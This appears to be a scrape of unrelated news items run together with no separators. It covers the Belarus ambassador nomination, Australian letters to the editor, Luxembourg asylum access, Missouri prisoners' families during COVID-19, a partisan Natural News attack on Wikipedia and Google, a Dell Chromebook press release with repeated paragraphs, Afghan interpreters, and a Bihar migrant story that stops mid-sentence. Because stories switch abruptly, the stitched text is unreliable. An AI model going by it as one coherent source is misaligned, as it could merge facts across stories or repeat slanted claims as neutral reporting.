(@FahadShabbir) WASHINGTON (UrduPoint News / Sputnik - 12th August, 2020) US Senator Chris Murphy in a statement on Tuesday called on the Senate to delay the confirmation of nominee Julie Fisher to be the US ambassador to Belarus due to the civil unrest in Minsk related to the the controversial presidential election. "Trump wants to restore diplomatic relations with Belarus. The Ambassador nominee is pending in the Senate," Murphy said via Twitter. "Right now, this would be a huge mistake. It would look like an endorsement of [President Alexander] Lukashenko's crackdown. The Senate should set aside this nomination." On Sunday, Belarus held its presidential election, which resulted in incumbent President Alexander Lukashenko winning 80.08 percent of the vote. The runner-up candidate, Svetlana Tikhanovskaya, won 10.9 percent. The results have triggered widespread protests in the country, resulting in 3,000 arrests. A Sputnik correspondent in Minsk reported on Tuesday that the local police was preparing to restrict traffic on the streets of Minsk as the capital is bracing up for the third night of protests. Central streets of the city are being patrolled by reinforced police units. Diplomatic relations between the United States and Belarus deteriorated in 2008 when both countries recalled their respective ambassadors. Recently, Minsk and Washington have made efforts to improve relations that culminated with US Secretary of State Mike Pompeo's visit to the Belarusian capital in February. Initial refusal by PM was against evidence The initial refusal of the Prime Minister earlier this year to give the VC retrospectively to Teddy Sheean, against all the evidence and recommendations caused much unnecessary anger and disappointment. Sheean was an 18-year-old who died in what was undeniably a selfless, courageous and successful action, defending his mates and his country. A panel of experts, convened for the purpose of determining if this honour should be awarded, unanimously said yes. Sheean strapped himself to an anti-aircraft gun as HMAS Armidale, under attack from Japanese bombers went down in the Timor Sea and is credited with saving the lives of 49 crew and shooting down at least one aircraft, before dying at his gun. It had long been a bone of contention and a battle doggedly fought for decades by his family and others to give the young man the honour he deserved so long after his death. It turns out the PM was advised by the Chief of the Defence Force Angus Campbell and Defence Personnel Minister Darren Chester not to seek the honour for Sheean at that time. His heroic actions have finally been recognised. Gillian Unicomb, Sandford, Tas. THE FORUM Transparency clouded The reports that two federal officials at the centre of the Ruby Princess incident will not be subject to questioning at the inquiry should raise questions and alarm. While the bungled hotel quarantine program in Victoria has had far more devastating effects in terms of COVID-19 case numbers, more than 1000 cases were estimated to have come from Ruby Princess passengers. While the inquiries to be undertaken are necessary and should be welcomed, what does it say for transparency and thoroughness if individuals key to the decision-making process are exempt from scrutiny? Jacob Bau, Brunswick Joggers, suck it up Aah Graeme Abram, (Letters, 11/8) youre on to something. You left out the cyclists and joggers who insist they shouldnt have to wear a mask because they are exercising. The real reason is so they can continue to be free to spit whenever and wherever they feel like it. The saliva is their own why cant they just swallow it? Ross Campbell, Black Rock Think the unthinkable Aged care reform demands we think the unthinkable. Advances in living standards and medicine have produced a growing number of elderly, supported by a massive industry of care. Efforts to push up retirement ages to reflect demographic and health changes have been unsurprisingly resisted. The chronic underfunding of nursing homes has been recognised for decades, but there is no public willingness to insist on change. Its not the royal commission that has pushed aged care to the forefront, but the coronavirus crisis. When the pandemic is over, aged care will return to the back of the policy queue. William Puls, Mentone Accreditation mirage I am getting angrier daily at the ministers defence regarding the preparedness of aged care facilities for the arrival of this virus namely that providers are required to have an infection control plan as a pre-requisite for accreditation. As a retired agedcare nurse, I remember my last experience of an accreditation visit whereby an expensive lounge suite appeared in the foyer of the nursing home on the morning of the visit accompanied by a lamp casting a subtle glow to the accompanying hall table and flower arrangement all of which were removed the following week. Glenda Addicott, Ringwood East Tackle health issues Regarding the $500 million to be spent telling the stories of servicemen and women (Memorial work not at vets expense: PM, 11/8): Is it better to show their value to Australia by having your story told or trying to heal them? PTSD is a life destroying condition and illness that has shadowed wars. How better to show we value our service personnel than to fund research and best-practice treatment? Anne Rutland, Brunswick West Mask vigilantes I was horrified to read of an attack on a man who wasnt wearing a mask in Benalla (Assault over no mask, 11/8). I can only hope that the compulsory wearing of masks is not going to spur further vigilante acts. In a time of hardship and difficulty, violence and unprovoked assaults on our fellow citizens will not promote harmony, and must not be tolerated. Helen Scheller, Benalla Career rethink I read this article (Nursing students seek end to on-campus classes amid safety fears, 10/8) after discussing with my wife who is a nurse that one of her co-workers had taken time off because she was afraid of catching COVID-19, leaving other nurses to take up her days. I thought this was a bit like a policeman walking away from trouble. Maybe this is a good time for these students to reconsider their career? Sandy Richards, Port Melbourne Tale of two probes What a contrast. Victorian MPs are set to put hard questions to the Premier about the second wave of COVID-19 cases in the state. Answers are required and this looks like a genuine attempt to find them. Here in New South Wales, the Prime Minister promised to co-operate with a similar inquiry into the Ruby Princess debacle. But two federal officials who appear likely to have answers are refused permission to appear. Why? Paul Fergus, Manly, NSW Casual thoughts It might be a good idea to ask the casual employees themselves if casual jobs are mostly not bad jobs (The case for casual employment, 11/8) rather than accepting Mark Woodens findings. He says, it is true, that because of absence of sick leave entitlements, casual employees do have a greater incentive to work when ill or symptomatic than permanent employees, and yet he concludes that a special pandemic leave emergency measure would be better than a complete overhaul of employment regulations. Rosemary Taylor, Castlemaine VCAL students in limbo The frequent reference to the disruption of studies and mental health issues affecting year 12 VCE students due to COVID-19 perpetuates the view that the alternative senior school program, the VCAL, is of no significance. VCAL students have experienced similar disruptions and have had to adapt to any number of combinations of lessons with their VET RTO providers. Significantly, industry-structured work placements, often a vital component of their VET learning, have been cancelled. In the first lockdown, after announcing how VCE students would be supported, it was days before government officials mentioned VCAL students. As VCE teachers and students eagerly received news of modification or reduction in their curriculum demands, the VCAL course demands remained at the status quo in terms of Learning Outcomes that must be satisfied. VCAL students remain in limbo as to whether they will gain their full Certificate II or III VET qualification, at a time when they are making VTAC applications for post-secondary studies. Caitlin Brusco, Oakleigh East Urgent action needed While the inquiries into bushfires, aged care and hotel quarantine are worthy, the authorities should focus on the looming scandal this weekend. For the first time in decades, the Collingwood v Melbourne clash will not be shown on free-to-air television. This shameful neglect warrants nothing less than a royal commission. Roger Farrer, Hampton Plain packaging call In the early 60s as a paperboy, I sold papers outside the Prospect Hill hotel in Kew and saw the drunken men stagger out heading home to their families, having consumed as much beer as they could in the time between the end of work and the closing of the pub at 6pm. Vomit on the streets was common. Road crashes were regular. These sights are not common on the street now, drinking is seen as a normal thing to do and is pervasive throughout our lives. Perhaps a move to plain packaging for alcohol which we now accept for tobacco products might remove the exotic marketing hype attached to this dangerous product and reduce consumption. Not popular with governments looking for revenue but popular with partners suffering domestic violence. Pieter van Wessem, Balwyn Time to act Publicity about the increased risk of family violence is to be applauded. As always, early identification of potentially harmful behaviours, raised awareness, education and individual as well as societal responsibility and action are critical. Key messages to victims about management strategies and advice to have phones and documents hidden, escape plans in place and children prepared to escape are fundamental in minimising harm and saving lives. But are they enough? Where are the messages to those partners and parents who know they have anger-management issues and who may now have their own usual escape doors closed to them because of lockdown? Messaging such as if you know you are about lose it, walk away, leave the house, ring a friend or family member. Behind the closed doors, numbers are on the rise. So lets do whatever we can to tackle this ugly reality now. Trish Berry, Point Lonsdale A different ballgame Thanks to COVID-19, this year could be the fairest year in the AFLs history. With Victorian teams now forced to forgo their unfair advantages typically inherent in the AFLs Victorian centric programming, it really is a whole different ballgame. A case in point is the AFL ladder: three out of four of the top teams are non-Victorian. Martin Klavins, Crafers West, SA Lifetime of advocacy How wonderful to see Merle Mitchell (Damn, Ive woken up: Lockdown life in care, 11/8) in the media again. I remember her many years at Springvale Community Aid and Advice Bureau and the Australian Council of Social Service. She was such a charismatic leader and a beacon of hope to vulnerable and disadvantaged people of all ages. Under her leadership, a bevy of staff and hundreds of volunteers learnt what it was to practise humanity, not just talk about it. And here she is, in her 80s, still advocating for those who cannot speak for themselves. Thank you Merle. Patsy Morrison, Cheltenham We are all Australians Yes, I am a Victorian. But I have been called many names in many places. Born a Canberran. A colonial cousin living as a child in England. A chalkie in Wagga Wagga. An Aussie teaching in Cambridge, UK. A crow eater while living in Adelaide. And now a Victorian. But I know that always first I am Australian. And I treasure this bond of birthright that I share with all the Australians in our wide, brown land, living now under the threat of this vile, invisible virus. We are all Australians. Margie Sare, Sorrento AND ANOTHER THING ... Credit: Coronavirus Chin masks the latest street fashion trend. Takeaway coffee, the must-have accessory. Anna den Hartog, Coburg Does the PM have a better hand pass than Polly Farmer? Daryl Goldie, Camperdown Memo to member for Kooyong. Great serve Josh, but remember to keep your eye on the ball and keep your foot in the right spot. Paul Chivers, Box Hill North Privatised aged care is like the curates egg. Unfortunately the funding arrangements and standard of nursing required are as weak as a dowagers shandy. Greg Curtin, Blackburn South Has Twitter now replaced Parliament as the forum for ministerial accountability in Victoria? Martin Newington, Aspendale Hopefully telephone and Zoom medical consultations wont become the new norm. The personal touch is important. Paul Murchison, Kingsbury I question why the journalists demanding answers from Andrews are not using the same vigour when Morrison evades questions on the Ruby Princess debacle (11/8). Neil Chambers, Black Rock We recently attended our neighbours 30th birthday party in our paddock at a corner where the properties meet. A live electric fence provided an excellent reminder of the need for social distancing. Sue Higgs, She Oaks Josh Frydenberg says Victoria has questions to answer, while the Commonwealth refuses to allow federal officers to appear before the Ruby Princess inquiry. Malcolm McDonald, Burwood Furthermore Play the grand final at the MCG and close the borders. Arthur Pritchard, Ascot Vale The council criticises that the directorate denies people the possibility to apply for international protection while those most vulnerable end up homeless. In a statement published on Tuesday morning, the Luxembourg Refugee Council (LRF) expressed concern that applicants for international protection are experiencing unreasonable difficulties. The platform, which unites different organisations working in the field, is shocked about the way the country is dealing with refugees, especially during the current crisis. According to the council, they have received several reports from individuals who were discouraged or even intimidated while trying to apply for international protection. In its statement, the council criticises that it has unfortunately become an everyday occurrence that people do not receive an attestation of their application from the directorate of immigration. In regard to this, the refugee council reiterates that the right to apply for international protection is an essential part of the right of asylum which in turn is enshrined both in the Geneva convention as well as the EU's Charter of Fundamental Rights. The council goes on to state that the administration does not have the authority to decide who can apply for protection and who cannot, since this would essentially result in them denying people their rights. If people cannot submit an application, they also lose their right to basic care, which is guaranteed over the course of the procedure. The organisation announced that as of Tuesday, members of the council will be present in front of the directorate of immigration in order to inform people about their rights. The goal is also to collect transparent figures about how many people turn up and how many of them are able to actually submit an application at the end. The Luxembourg Refugee Council also points out that it already appealed to Minister of Immigration Jean Asselborn in January to deal with this issue. During this intervention, the council also stressed that the presumption of minority was not being respected in all cases resulting in a disproportionate amount of body searches both acts being violations of fundamental rights. However, until now nothing has been changed, according to the council. On the contrary, since the sanitary crisis has made the situation even worse. Vulnerable people, i.e. critically ill individuals, minors, or victims of violence end up on the streets under the pretext that their application was denied. Until now, those whose applications were deemed "not receivable" were put in residential facilities by the National Reception Office (ONA). However, ONA is not doing this anymore, arguing that all residential facilities are full at the moment even though the number of applications has never been lower due to the coronavirus crisis. The refugee council demands that the directorate of immigration change its course immediately. When she learned her fiance had tested positive for COVID-19 at the end of June, Selina Al-Hameed had no idea what would happen next. She was worried. Her fiance has severe asthma, which could put him at increased risk for severe illness. And because hes incarcerated at Farmington Correctional Center, there was no easy way for Al-Hameed to get answers. Al-Hameed called the prison and was transferred to its medical department. She had a medical release form, which lets her access her fiance's medical information, but she was told an administrator would have to call her back. Al-Hameed said the exchange ended at about 8 a.m. Eight hours later, Al-Hameed got a call back. She said she wanted to know what the plan was now that her fiance had tested positive. According to Al-Hameed, the administrator said the prison was doing vital checks twice a day, and that if any prisoners symptoms worsen, staff would take the necessary steps to treat them, either in-house or through an outside provider. And that was it, Al-Hameed said. After waiting eight hours, Al-Hameed said those werent exactly the answers she had hoped for. Al-Hameed's fiance has been incarcerated in Missouri for seven and a half years. For her, the exchange was one example of a long-standing frustration that's been exacerbated by the pandemic. She and other family members of those in prison say they struggle to get information about their loved ones, especially when it comes to their health. With more than 600 cases of COVID-19 linked to the Missouri Department of Corrections, and cases identified in 16 adult institutions, the pandemic has intensified the families anxiety and mistrust. They worry what will happen to their loved ones if they contract the coronavirus while behind bars. Notifying families The Department of Corrections must notify a prisoners emergency contact about a life-threatening illness or injury, said spokesperson Karen Pojmann. Whether or not a contact is notified will generally depend on the situation but, if theres an urgent, life or death sort of situation then (the facility) would contact a family member immediately, she said. Pojmann also said family members will not be notified by the department about noncritical illnesses. A prisoner who tested positive for COVID-19 but who has mild or no symptoms wouldnt trigger the notification policy or be considered time sensitive. The vast, vast majority of people who are testing positive through this mass testing approach are asymptomatic, Pojmann said. Since May 26, Missouri has been testing every prisoner and prison staff member for active cases of COVID-19. A positive test result wouldnt automatically be an emergency medical situation, she said. But if someone has tested positive, they must be isolated, and staff must also prioritize determining who the person has come in contact with, Pojmann said. So it might, under those circumstances, take longer than a few hours to get information, Pojmann said. She added that prisoners would still be able to contact family members themselves if they test positive for COVID-19. She emphasized that there is medical care for prisoners 24 hours a day at each facility. I understand it can be very frustrating and scary in this situation, Pojmann said. It is a pandemic, and it is a complicated and upsetting situation to be in for everyone, for sure. But our top priority is attending to the medical needs of the offenders in our care and that might take precedence over informing family members. Prisoners turn to family members When Al-Hameeds fiance tested positive for COVID-19, he was moved to a cramped housing unit that was being used to isolate prisoners at Farmington Correctional Center. As of July 29, 64 prisoners and 7 staff members at the Farmington prison had tested positive for COVID-19. As of June 30, her fiance was stable and wasnt experiencing severe symptoms. But Al-Hameed said he wasnt able to get any answers about what, if any, medical care he would receive. So he turned to her. They dont give them those kinds of answers, she said. You cant just leave these men not knowing. So it takes for them to have to contact their families, and for their families to call in just to get any type of answer. Thats ridiculous. Al-Hameed said its common for prisoners to hit this type of wall where they cant get questions answered or concerns addressed. Nick Cooke, who is incarcerated in the Western Missouri Correctional Center in Cameron, Missouri, said in an email message that the department is somewhat open about whats happening in his prison. Eventually they tell us what is going on, Cooke wrote. I do think that they should (be) a lot more timely (and) open with what is happening, and not learn things through the grapevine or other means. As of July 29, two staff members had tested positive for COVID-19 at the prison in Cameron. Mass testing had not yet been completed at the prison. When prisoners do turn to family members or advocates for outside help, that doesnt always lead to answers. I could probably get through to the President of the United States faster than I could get a straight answer out of anybody at the (Department of Corrections) or the prison where my son is, said Susan Strauss, whose son has been incarcerated almost eight years. Currently, her son is incarcerated at Northeast Correctional Center in Bowling Green, Missouri, but he has been at other prisons as well. Strauss said the difficulty getting information out of the department is a system-wide problem. On the outside, the persistent lack of information means prisoners family members are living in constant fear and anxiety, Strauss said. What happens when mine gets the virus? Strauss said. Will they treat him? Will they take him to the hospital? Will they do anything if he needs a respirator or whatever? Will it be there for him? The prison in Bowling Green has not yet completed mass testing, but one staff member had tested positive for the virus as of July 29. No faith in them Diane Lowe, whose son has been incarcerated for almost 14 years, said she doesnt trust the state to be open about whats happening with the coronavirus in prisons because they have a history of failing to be transparent. They are not forthcoming on anything at all, it doesnt matter what it is, Lowe said. They just dont tell people. They just dont. Strauss said when her son was first incarcerated, she asked him to share her contact information with other incarcerated people he trusted. She told her son it was necessary: If something happens to you, someone can contact me. Cause I wont find out from the (Department of Corrections). Pojmann, the department spokesperson, said when the pandemic began, the department immediately put up a website that described their efforts to prevent the virus from entering prisons and plans to contain it. She also said the department is under no obligation to publish the number of positive COVID-19 cases identified in prisons. That was a choice that we made to be transparent from the beginning, she said. Pojmann also said communication has become a much bigger priority since Department of Corrections Director Anne Precythe took over in February 2017. In the past, people may have had more difficulty getting information, but that is not what were doing now, Pojmann said. Were trying to be as transparent as possible and we have more avenues of communication available than ever before. But the mistrust remains. I dont have no faith in them at all, said Jesika Blount, whose husband is incarcerated at the Eastern Reception, Diagnostic and Correctional Center in Bonne Terre. As of July 29, 72 prisoners and 17 staff members at the prison have tested positive for COVID-19. Advocating for loved ones Blount said she has hit roadblocks when trying to advocate for her husband, who has a vitamin B12 deficiency and needs monthly shots. Ive had to get on to them about making sure he gets his shots, testing his blood, Blount said. Its like ... pulling teeth to get any information or whatever. Or to get them to comply with me to make sure his health is all right. Family members and friends are encouraged to sign up for the departments messaging system and bring their questions and concerns about loved ones in prison to the departments Constituent Services Office, Pojmann said. Constituent services employees can provide general information about policies and procedures or work with individual prisons to get more specific information, she said. If they call the prison directly, they might not be able to reach someone who has the information that theyre looking for, Pojmann said. But if they call constituent services, then well make sure that we get the information for them. Lowes son has spent time in four Missouri prisons, and Lowe said shes had mixed success getting through to them. When her son was incarcerated at Western Missouri Correctional Center, Lowe said she had to call daily and fight with prison staff to try to force them to address his health problems. He was struggling with heat exhaustion because his housing unit at the prison did not have air conditioning and he had also developed a rash. Usually, I will talk to his case manager, and I usually dont get anywhere talking to them, Lowe said, describing the process. Then I tried constituent services, same issue. You dont really get anywhere talking to them. So the only way I got anything accomplished when he was in Cameron was calling a representative. Lowe said she believes former state Rep. Brandon Ellington helped get her son transferred to Moberly Correctional Center, where he is now. Lowes son wasnt given the medication he needed until he was transferred, she said. The prison in Moberly has not yet completed mass testing, but no cases of COVID-19 have been reported there as of July 29. Its not uncommon for people to have to do this type of work to help their loved ones behind bars, according to Strauss, Lowe, and Al-Hameed. Al-Hameed said its terrible that whenever anything needs to be done, family members have to go to incredible lengths to make it happen. Or you have to take extreme measures just to get your loved one heard in prison. It should not be that way, she said. This story was produced by the Missouri Information Corps, a project of the Missouri School of Journalism. Have tips for us? Email: moinformationcorps@gmail.com. (Natural News) If you still use Google, you might have noticed that conservative sites dont get a lot of love from the search engine. However, one site that does seem to show up on the first page of results for nearly every term imaginable is Wikipedia. Its pretty ironic that Google claims the conservative sites they suppress are fake news when Wikipedia is known for being a big perpetrator of hoaxes and other false information. In fact, there have been several major cases in which academic studies and media reports that took inaccurate information from Wikipedia were then used to support the claim within the Wikipedia entry in a type of circular sourcing known as citogenesis. One of Wikipedias selling points is the fact that anyone can edit it, which is something its owners believe enhances its reliability. However, there are countless stories of Wikipedia printing hoax data that went on to become fake news in the media sometimes even in medical journals. Wikipedia hoaxes range from stupid inside jokes to outright character assassination Thats what happened when someone edited an article on diabetic neuropathy in 2007, creating a fictional condition known as glucojasinogen. Although it was never a real condition, it then appeared in medical journals from Iran, India and Nigeria. In another incident, a Wikipedia editor added fake information to the page of comedian Sacha Baron Cohen, who plays the character Borat, claiming that he once worked at the investment banking firm Goldman Sachs. Several news sources picked up this claim, such as The Independent, and although it had been removed in the meantime by someone using a Goldman Sachs IP address, the claim was then added right back into the article citing those sources as proof. After the hoax was exposed, it was removed once again, but it continues to appear in French Wikipedia. On another occasion, a New York teenager added the alternate name of Brazilian aardvark to the Wikipedia entry for a raccoon-like animal known as a coati after mistaking the coati for an aardvark during a trip to Brazil. After an article in The New Yorker exposed the hoax, the claim was removed. By then, however, it had already appeared on several British news outlets like The Guardian, which was then cited on Wikipedia to support the alternative name, as well as a book published by the University of Chicago and a study published in the Brazilian scientific journal Iheringia. Wikipedias sister site, WikiQuote, is not immune to the problem. In fact, it has spread several hoaxes by attributing quotes to people that they never said. For example, quotes were attributed to Rush Limbaugh praising the assassin of Martin Luther King, Jr. and saying that slavery had its merits. One was later revealed to have been adapted from an Adolf Hitler quote. Nevertheless, the quotes appeared in other places online and in a 2006 book, which was then used as a citation to restore the quote. Some of the ways that people edit Wikipedia are stupid but relatively harmless, like calling a coati a Brazilian aardvark, but some are far more dangerous, like when journalist John Siegenthaler was falsely said to have been a suspect in the assassinations of both President John F. Kennedy and Attorney General Robert F. Kennedy. Theres a good reason many news outlets dont allow their writers and editors to use Wikipedia as a reference, and many schools and universities dont allow it as a source, either. So why does Google, who claims to be so concerned about fake news, continue to rank this joke of a site so highly? Sources for this article include: Breitbart.com NYTimes.com The latest Latitude Chromebook Enterprise enriches the employee experience with sleek, compact design and innovative productivity features with first 4K panel with Low Blue Light technology and the longest battery life on a premium Chromebook Companies can easily secure and manage Latitude Chromebooks from virtually anywhere, supporting their employees wherever they work Dell's premium Chromebook Enterprise gives businesses more choice in their devices and operating systems Full Story: Chrome OS has accelerated its expansion within businesses amid the shift to work from anywhere. The new Latitude 7410 Chromebook Enterprise, a 14-inch premium business laptop or 2-in-1 from Dell Technologies (NYSE:DELL), boosts productivity with on-the-go power, sophisticated security and fast connectivity features employees need. With the Latitude 7410 Chromebook Enterprise, Dell expands its Latitude Chromebook lineup now offering a mainstream and premium option to give companies more choice in devices without sacrificing enterprise-class scale, manageability and security. With EPEAT Gold registration, the Latitude Chromebook Enterprise joins the industry's most sustainable commercial PC portfolio i with recycled materials, sustainable packaging, energy efficient designs and EPEAT Gold registrations. "This is not just another Chromebook," said Rahul Tikoo, senior vice president, Commercial Product Group, Dell Technologies. "Our latest Latitude Chromebook Enterprise is designed equal parts for employees and IT managers adopting Chrome OS in the enterprise. Employees will appreciate its sleek design and collaboration features that help them navigate new work dynamics, while IT managers have the management and security features they expect when deploying devices in a corporate environment." "We are constantly evaluating the tools and technology that help our teams better serve our customers, while also staying true to our mission by using sustainable products whenever we can," said Sarah Paiji Yoo, CEO and co-founder of Blueland. "Our deployment of the Latitude Chromebook Enterprise devices, which are packed with sustainability features, created new opportunities for my team to collaborate, stay flexible and continue to be productive as we shifted to working remotely." Work Anywhere: Designed for executives, mobile professionals and remote workers, the Latitude 7410 Chromebook Enterprise includes innovative security and productivity features, allowing employees to power up quickly with no time wasted on setting up the device. Co-engineered with Intel as part of the Project Athena innovation program,ii the Latitude 7410 Chromebook Enterprise offers LTE mobile broadbandiii, Intel WiFi 6 and up to 10th Gen Intel Core i7 processors to boost productivity and performance for bandwidth-intensive activities, such as working up to 8.6 times faster in Google Sheetsiv. Additional key features include: First-ever 4K panel with Low Blue Light display available on a Chromebook Enterprise v : The Latitude 7410 provides better readability and eye comfort with built-in 4K low blue light display technology. An expansive, four-sided narrow border display also provides more screen to connect with colleagues, and acoustic noise reduction features that enhance video calls. : The Latitude 7410 provides better readability and eye comfort with built-in low blue light display technology. An expansive, four-sided narrow border display also provides more screen to connect with colleagues, and acoustic noise reduction features that enhance video calls. World's longest battery life of any premium Chromebook vi : With up to 21 hours of battery life vii , mobile professionals can complete tasks throughout the day. If they do need a charge, the device can charge quickly from 0% up to 35% in as little as 20 minutes with ExpressCharge Boost viii or it can get up to an 80% charge in as fast as an hour with ExpressCharge ix . : With up to 21 hours of battery life , mobile professionals can complete tasks throughout the day. If they do need a charge, the device can charge quickly from 0% up to 35% in as little as 20 minutes with ExpressCharge Boost or it can get up to an 80% charge in as fast as an hour with ExpressCharge . Ease of use : Employees and executives pressed for time can rely on one-hand assist to power the Latitude Chromebook in seconds simply by opening the lid. For extra flexibility, the device comes with the one of the broadest array of ports available in a premium Chromebook Enterprise x . Simple app access is available locally or online through the Chrome Browser or the managed Google Play Store. Employees get peace of mind with an optional built-in privacy panel and camera privacy shutter. : Employees and executives pressed for time can rely on one-hand assist to power the Latitude Chromebook in seconds simply by opening the lid. For extra flexibility, the device comes with the one of the broadest array of ports available in a premium Chromebook Enterprise . Simple app access is available locally or online through the Chrome Browser or the managed Google Play Store. Employees get peace of mind with an optional built-in privacy panel and camera privacy shutter. Premium design : Professionals can choose between machined aluminum or carbon fiber on the world's lightest 14-inch Chromebook Enterprise laptop[xi]. A new silver color is available on the Latitude 5400 Chromebook Enterprise to give more employees a modern look and feel. Management and Security: As organizations prepare for long-term remote work, Dell Technologies Unified Workspace reduces IT complexity and allows IT leaders to secure, manage and support the Latitude Chromebook Enterprise. Available in more than 50 countries and with 14 localized language keyboards, companies can select and purchase various configurations to meet employee needs. IT can manage the devices with the same level of support, security and reliability they expect in a corporate environment, and have confidence in platform stability with the Intel Stable IT Platform. They can service and upgrade storage and batteries and operate the same support model across their entire organization. "Now, more than ever before, IT administrators need innovative technology solutions to support their modern cloud-first businesses," said John Solomon, Vice President of Chrome OS at Google. "That's why we're thrilled to expand our premium Chromebook options for enterprise customers with the Latitude 7410 Chromebook Enterprise. Powered by Chrome OS, Dell Latitude Chromebook Enterprise allows IT managers to deploy rapidly and securely while enabling employees to get work done effectively, no matter where they are." Availability and pricing: The Latitude 7410 Chromebook Enterprise is available now starting at $1,299.00 and will be available soon with Intel Core i3 processors starting at $1,099.00 . Additional Resources For the latest updates on business PCs and news from Dell Technologies, connect with us on Twitter and LinkedIn. For company imagery, videos and logos, view our Dell Technologies Media Library. Learn how Dell is helping businesses implement remote workforce solutions. About Dell Technologies Dell Technologies (NYSE: DELL) helps organizations and individuals build their digital future and transform how they work, live and play. The company provides customers with the industry's broadest and most innovative technology and services portfolio for the data era. i Based on the design, manufacture, packaging, product lifecycle maintenance and number of ecolabel registrations, including EPEAT Gold registrations for the Dell Precision, Latitude and OptiPlex portfolio as of May 2020. ii Based on Intel's Project Athena Design Verification and Qualified Configuration Status report dated July 20, 2020 iii Subject to service provider's broadband subscription and coverage area; speeds may vary. Additional charges will apply. Contact your service provider for details. iv Source: Intel. Performance results are based on testing as of October December 2019 and may not reflect all publicly available security updates. See configuration disclosure for details. No product can be absolutely secure. For more complete information about performance and benchmark results, visit http://www.intel.com/benchmarks . v Based on Dell analysis using publicly available data, June 2020. vi Based on Dell analysis in August 2020 using publicly available data. The Latitude 7410 Chromebook Enterprise gets up to 21 hours and 17 minutes when tested with Intel Core i5-10310U, 8GRAM, 128GB SSD, FHD non-touch panel, Chrome OS and 68Whr battery, using Google Chrome OS Powerload test. Test results are for comparative purposes only. Actual battery life may be significantly less than the test results and varies depending on product configuration and use, software, usage, operating conditions, power management settings and other factors. Maximum battery life will decrease with time. vii Based on Dell analysis in August 2020 using publicly available data. The Latitude 7410 Chromebook Enterprise gets up to 21 hours and 17 minutes when tested with Intel Core i5-10310U, 8GRAM, 128GB SSD, FHD non-touch panel, Chrome OS and 68Whr battery, using Google Chrome OS Powerload test. Test results are for comparative purposes only. Actual battery life may be significantly less than the test results and varies depending on product configuration and use, software, usage, operating conditions, power management settings and other factors. Maximum battery life will decrease with time. viii Within Dell Power Manager software, selecting either the Default mode of Adaptive Charge or ExpressCharge can recharge system battery from 0% up to 35% within 20 minutes when system is powered-off and battery temperature is between 16-45 degrees C. With ExpressCharge mode enabled, the system battery can then continue charging up to 80% within 60 minutes. After charging has reached 80% capacity, charging speed will return to normal speed. Recommended for use with the provided Dell power adapter; not recommended with a smaller capacity power adapter. Charging time may vary +/-10% due to system tolerance. ix Within Dell Power Manager software, selecting ExpressCharge can recharge system battery from 0% up to 80% within 60 minutes. After charging has reached 80% capacity, charging speed will return to normal speed. Recommended for use with the provided Dell power adapter; not recommended with a smaller capacity power adapter. Charging time may vary +/-10% due to system tolerance. x Based on Dell analysis comparing premium Chromebook Enterprise laptops, June 2020. xi Based on Dell analysis using publicly available data to compare starting weights, June 2020. SOURCE Dell Technologies Related Links http://www.delltechnologies.com A former top US general last night demanded Britain speed up its efforts to give Afghan interpreters sanctuary. David Petraeus called on Home Secretary Priti Patel to follow Americas swift actions or risk them being targeted by the Taliban. The former director of the CIA said the US and UK owed a moral obligation to translators, adding: Each of us witnessed their service first hand. Gen Petraeus served as commander of US and Nato forces in Afghanistan from 2010 to 2011. General David Petraeus (pictured) has urged Home Secretary Priti Patel to offer sanctuary to Afghan interpreters just as the US has done through a special immigrant visa scheme. It comes as the Mail revealed how interpreters have been targeted by the Taliban because of their work His excoriating comments came after senior British military figures General Lord Richards and General Lord Dannatt urged ministers to do the right thing and give interpreters sanctuary. Gen Petraeus said: I agree with my old friends Richard Dannatt and David Richards that we owe a considerable debt to the host nation translators who served alongside our soldiers in Iraq and Afghanistan. 'We know the hardships they shared with our men and women on the ground as well as the risks their service with our forces incurred for them and their families. He said the US had resettled their translators through a special immigrant visa scheme and non-profit organisation No One Left Behind. Gen Petraeus added: I would hope that the Home Office will expedite approval for visas for wartime translators, just as our State Department has, so their fate is not decided by the Taliban or Isis. No One Left Behind is a nationwide association of wartime allies in the US dedicated to ensuring America keeps its promise to interpreters in Iraq and Afghanistan. The organisations James Miervaldis, who served in both Iraq and Afghanistan as an army reserve and campaigned for his interpreter to be given a visa to the US, said: There is a sustained, systematic and targeted campaign by the Taliban to carry out retribution against interpreters who worked with US and UK forces. He said that since October 2001 several hundred translators and their relatives have been killed because of their work. One victim and his family were beheaded while waiting for their American visas. Mr Miervaldis comments back up the Mails revelations of how interpreters have been targeted by the Taliban because of their work. A former interpreter for Prince Harry during one of his tours in Afghanistan is one of those who were offered a visa to study in the US after being refused help by the UK. Parwiz Khan, 33, who worked for frontline British forces for more than five years, said: The British approach to me was hugely disappointing and a complete contrast to what happened in the US, who were compassionate and recognised both my service and the very real threat. This is unlike the British, who did not want to know. He spent two months working with Prince Harry in 2008 at Base Dwyer in Gamrsir, Helmand. Khan produced medical records showing he had been shot three times near the UKs Camp Bastion base, claiming he was targeted because of his work for the British. US General David Petraeus' comments follow calls issued by General Lord Dannatt (left) and General Lord Richards (right) for the UK to help Afghan interpreters avoid persecution Translators said at least four colleagues who worked with UK forces have been given visas in the US. Some 445 Afghans, plus 872 family members, have been allowed to live in the UK a total of 1,317 According to No One Left Behind, 68,418 Afghan translators and their family members have been given visas to move to America. There are believed to be around 150 more translators still desperate to come to Britain. The Daily Mails Betrayal of the Brave campaign is pressing for them to be given sanctuary. We revealed last month how ministers promised 50 would be allowed into the UK under a new scheme, but only two came in two years. A Government spokesman said: The Home Secretary and Defence Secretary remain committed to ensuring a fair system for the resettlement of Afghan interpreters and met last week to resolve outstanding issues. Rajesh Kumar Thakur By Express News Service PATNA: A group of 12 migrant labourers have set an example of what being 'self- reliant' means to be in a real sense in Bihar's West Champaran district. The group, led by a class 8th pass 25-year-old migrant Suraj Kumar, turned their skills into services amid the coronavirus pandemic. They returned to Bihar on May 28 from Jammu, went into quarantine and after being discharged, none of them waited for employment on the side of state government. They decided to run a pavers-block manufacturing unit in their village Madhopur-bairiya under Gaunaha block in West Champaran. They contributed from their hard-earned money and started manufacturing paver-blocks in various designs at the house of one Suraj Kumar. Now, we have taken a piece of 1.5 katha of private land on lease for next five years from a villager and running the manufacturing unit on it," Suraj Kumar said. The pavers blocks designed and manufactured by them had drawn the attention and appreciation of Bihar CM Nitish Kumar also recently. CM Nitish Kumar during his visit to Bagha on flood inspection tour interacted with two of them and appreciated their collective efforts in creating employment through their own skills. Suraj Kumar and his colleague Om Prakash informed the chief minister as how they worked for setting up the unit with all migrant-labourers of their areas. Suraj Kumar, who is deeply experienced and skilled in 